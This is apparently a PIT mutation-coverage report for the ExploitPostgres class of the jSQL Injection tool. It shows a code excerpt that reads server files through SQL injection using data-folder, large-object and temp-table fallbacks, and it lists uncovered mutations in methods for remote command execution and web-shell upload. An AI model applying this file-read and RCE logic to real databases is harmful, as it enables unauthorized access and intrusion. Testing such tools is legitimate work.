            resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
519
                String.format(
520
                    this.modelYaml.getFile().getRead().getFromDataFolder(),
521
                    pathFile
522
                ),
523
                new String[]{ StringUtils.EMPTY },
524
                false,
525
                1,
526
                MockElement.MOCK,
527
                ResourceAccess.FILE_READ
528
            ));
529
        } catch (InjectionFailureException e) {
530
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
531
            var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
532
                this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
533
                pathFile
534
            ), ResourceAccess.ADD_LOID);
535 1 1. getRead : negated conditional → NO_COVERAGE
            if (StringUtils.isNotEmpty(loid)) {
536
                resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
537
                    this.modelYaml.getFile().getRead().getLargeObject().getToText(),
538
                    loid
539
                ), ResourceAccess.READ_LOID);
540
            }
541 1 1. getRead : negated conditional → NO_COVERAGE
            if (StringUtils.isEmpty(resultToParse)) {
542
                LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
543
                var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);  // no dash in table name
544
                this.injectionModel.injectWithoutIndex(String.format(
545
                    this.modelYaml.getFile().getWrite().getTempTable().getDrop(),
546
                    nameLibraryRandom
547
                ), ResourceAccess.TBL_DROP);
548
                this.injectionModel.injectWithoutIndex(String.format(
549
                    this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
550
                    nameLibraryRandom
551
                ), ResourceAccess.TBL_CREATE);
552
                this.injectionModel.injectWithoutIndex(String.format(
553
                    this.modelYaml.getFile().getWrite().getTempTable().getFill(),
554
                    nameLibraryRandom,
555
                    pathFile
556
                ), ResourceAccess.TBL_FILL);
557
                resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
558
                    String.format(
559
                        this.modelYaml.getFile().getRead().getFromTempTable(),
560
                        nameLibraryRandom
561
                    ),
562
                    new String[]{ StringUtils.EMPTY },
563
                    false,
564
                    1,
565
                    MockElement.MOCK,
566
                    ResourceAccess.TBL_READ
567
                ));
568
            }
569
        }
570 1 1. getRead : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getRead → NO_COVERAGE
        return resultToParse;
571
    }
572
}

Mutations

54

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

60

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/accessible/engine/ExploitPostgres::setRceArchiveWhenActive → NO_COVERAGE

66

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

68

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

70

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

72

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

74

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

76

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

79

1.1
Location : getCreateBasicExtension
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getCreateBasicExtension → NO_COVERAGE

98

1.1
Location : setRceProgramWhenActive
Killed by : none
negated conditional → NO_COVERAGE

100

1.1
Location : setRceProgramWhenActive
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

101

1.1
Location : setRceProgramWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceProgramWhenActive → NO_COVERAGE

103

1.1
Location : setRceProgramWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceProgramWhenActive → NO_COVERAGE

107

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

108

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

110

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

117

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

121

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

123

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

130

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

132

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

141

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

142

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

150

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

152

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

156

1.1
Location : setRceExtensionWhenActive
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

157

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

161

1.1
Location : setRceLibraryWhenActive
Killed by : none
negated conditional → NO_COVERAGE

162

1.1
Location : setRceLibraryWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE

171

1.1
Location : setRceLibraryWhenActive
Killed by : none
negated conditional → NO_COVERAGE

173

1.1
Location : setRceLibraryWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE

189

1.1
Location : setRceLibraryWhenActive
Killed by : none
negated conditional → NO_COVERAGE

191

1.1
Location : setRceLibraryWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE

194

1.1
Location : setRceLibraryWhenActive
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

195

1.1
Location : setRceLibraryWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE

199

1.1
Location : setRceArchiveWhenActive
Killed by : none
negated conditional → NO_COVERAGE

204

1.1
Location : setRceArchiveWhenActive
Killed by : none
negated conditional → NO_COVERAGE

206

1.1
Location : setRceArchiveWhenActive
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

215

1.1
Location : toHexChunks
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/engine/ExploitPostgres::toHexChunks → NO_COVERAGE

231

1.1
Location : runRceLibraryCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

235

1.1
Location : runRceLibraryCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceLibraryCmd → NO_COVERAGE

239

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

243

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

262

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

274

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

281

1.1
Location : runArchive
Killed by : none
removed call to java/lang/Thread::sleep → NO_COVERAGE

284

1.1
Location : runArchive
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

295

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

299

1.1
Location : runArchive
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runArchive → NO_COVERAGE

312

1.1
Location : getExtensionWhenCreated
Killed by : none
negated conditional → NO_COVERAGE

314

1.1
Location : getExtensionWhenCreated
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getExtensionWhenCreated → NO_COVERAGE

327

1.1
Location : runRceArchiveCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

331

1.1
Location : runRceArchiveCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceArchiveCmd → NO_COVERAGE

354

1.1
Location : runRceProgramCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

358

1.1
Location : runRceProgramCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceProgramCmd → NO_COVERAGE

364

1.1
Location : runRceExtensionCmd
Killed by : none
negated conditional → NO_COVERAGE

388

1.1
Location : runRceExtensionCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

392

1.1
Location : runRceExtensionCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceExtensionCmd → NO_COVERAGE

406

1.1
Location : createWeb
Killed by : none
negated conditional → NO_COVERAGE

421

1.1
Location : lambda$createWeb$0
Killed by : none
negated conditional → NO_COVERAGE

425

1.1
Location : lambda$createWeb$0
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

426

1.1
Location : lambda$createWeb$0
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createWeb$0 → NO_COVERAGE

429

1.1
Location : createWeb
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::createWeb → NO_COVERAGE

442

1.1
Location : lambda$createSql$1
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : lambda$createSql$1
Killed by : none
negated conditional → NO_COVERAGE

443

1.1
Location : lambda$createSql$1
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

444

1.1
Location : lambda$createSql$1
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createSql$1 → NO_COVERAGE

459

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

470

1.1
Location : createSql
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::createSql → NO_COVERAGE

484

1.1
Location : createUpload
Killed by : none
negated conditional → NO_COVERAGE

498

1.1
Location : lambda$createUpload$2
Killed by : none
negated conditional → NO_COVERAGE

505

1.1
Location : lambda$createUpload$2
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

509

1.1
Location : lambda$createUpload$2
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createUpload$2 → NO_COVERAGE

535

1.1
Location : getRead
Killed by : none
negated conditional → NO_COVERAGE

541

1.1
Location : getRead
Killed by : none
negated conditional → NO_COVERAGE

570

1.1
Location : getRead
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getRead → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.23.0